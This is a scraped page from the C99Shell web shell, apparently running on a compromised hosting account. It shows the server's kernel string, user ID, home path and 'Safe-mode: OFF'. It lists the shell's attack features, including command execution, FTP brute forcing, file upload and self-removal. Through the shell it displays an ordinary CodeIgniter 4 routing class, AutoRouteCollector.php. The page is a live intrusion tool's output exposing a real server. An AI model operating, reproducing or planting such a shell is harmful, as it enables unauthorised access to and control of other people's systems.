smsonayla.org - c99shell

!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: LiteSpeed. PHP/7.4.33 

uname -a: Linux server704.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13
UTC 2025 x86_64
 

uid=1309(necipbey) gid=1314(necipbey) groups=1314(necipbey) 

Safe-mode: OFF (not secure)

/home/necipbey/public_html/system/Commands/Utilities/Routes/AutoRouterImproved/   drwxr-xr-x
Free 3425.68 GB of 4265.01 GB (80.32%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     AutoRouteCollector.php (4.02 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * This file is part of CodeIgniter 4 framework.
 *
 * (c) CodeIgniter Foundation <admin@codeigniter.com>
 *
 * For the full copyright and license information, please view
 * the LICENSE file that was distributed with this source code.
 */

namespace CodeIgniter\Commands\Utilities\Routes\AutoRouterImproved;

use 
CodeIgniter\Commands\Utilities\Routes\ControllerFinder;
use 
CodeIgniter\Commands\Utilities\Routes\FilterCollector;

/**
 * Collects data for Auto Routing Improved.
 */
final class AutoRouteCollector
{
    
/**
     * @var string namespace to search
     */
    
private string $namespace;

    private 
string $defaultController;
    private 
string $defaultMethod;
    private array 
$httpMethods;

    
/**
     * List of controllers in Defined Routes that should not be accessed via Auto-Routing.
     *
     * @var class-string[]
     */
    
private array $protectedControllers;

    
/**
     * @param string $namespace namespace to search
     */
    
public function __construct(
        
string $namespace,
        
string $defaultController,
        
string $defaultMethod,
        array 
$httpMethods,
        array 
$protectedControllers
    
) {
        
$this->namespace            $namespace;
        
$this->defaultController    $defaultController;
        
$this->defaultMethod        $defaultMethod;
        
$this->httpMethods          $httpMethods;
        
$this->protectedControllers $protectedControllers;
    }

    
/**
     * @return array<int, array<int, string>>
     * @phpstan-return list<list<string>>
     */
    
public function get(): array
    {
        
$finder = new ControllerFinder($this->namespace);
        
$reader = new ControllerMethodReader($this->namespace$this->httpMethods);

        
$tbody = [];

        foreach (
$finder->find() as $class) {
            
// Exclude controllers in Defined Routes.
            
if (in_array($class$this->protectedControllerstrue)) {
                continue;
            }

            
$routes $reader->read(
                
$class,
                
$this->defaultController,
                
$this->defaultMethod
            
);

            if (
$routes === []) {
                continue;
            }

            
$routes $this->addFilters($routes);

            foreach (
$routes as $item) {
                
$tbody[] = [
                    
strtoupper($item['method']) . '(auto)',
                    
$item['route'] . $item['route_params'],
                    
$item['handler'],
                    
$item['before'],
                    
$item['after'],
                ];
            }
        }

        return 
$tbody;
    }

    private function 
addFilters($routes)
    {
        
$filterCollector = new FilterCollector(true);

        foreach (
$routes as &$route) {
            
// Search filters for the URI with all params
            
$sampleUri      $this->generateSampleUri($route);
            
$filtersLongest $filterCollector->get($route['method'], $route['route'] . $sampleUri);

            
// Search filters for the URI without optional params
            
$sampleUri       $this->generateSampleUri($routefalse);
            
$filtersShortest $filterCollector->get($route['method'], $route['route'] . $sampleUri);

            
// Get common array elements
            
$filters['before'] = array_intersect($filtersLongest['before'], $filtersShortest['before']);
            
$filters['after']  = array_intersect($filtersLongest['after'], $filtersShortest['after']);

            
$route['before'] = implode(' 'array_map('class_basename'$filters['before']));
            
$route['after']  = implode(' 'array_map('class_basename'$filters['after']));
        }

        return 
$routes;
    }

    private function 
generateSampleUri(array $routebool $longest true): string
    
{
        
$sampleUri '';

        if (isset(
$route['params'])) {
            
$i 1;

            foreach (
$route['params'] as $required) {
                if (
$longest && ! $required) {
                    
$sampleUri .= '/' $i++;
                }
            }
        }

        return 
$sampleUri;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0063 ]--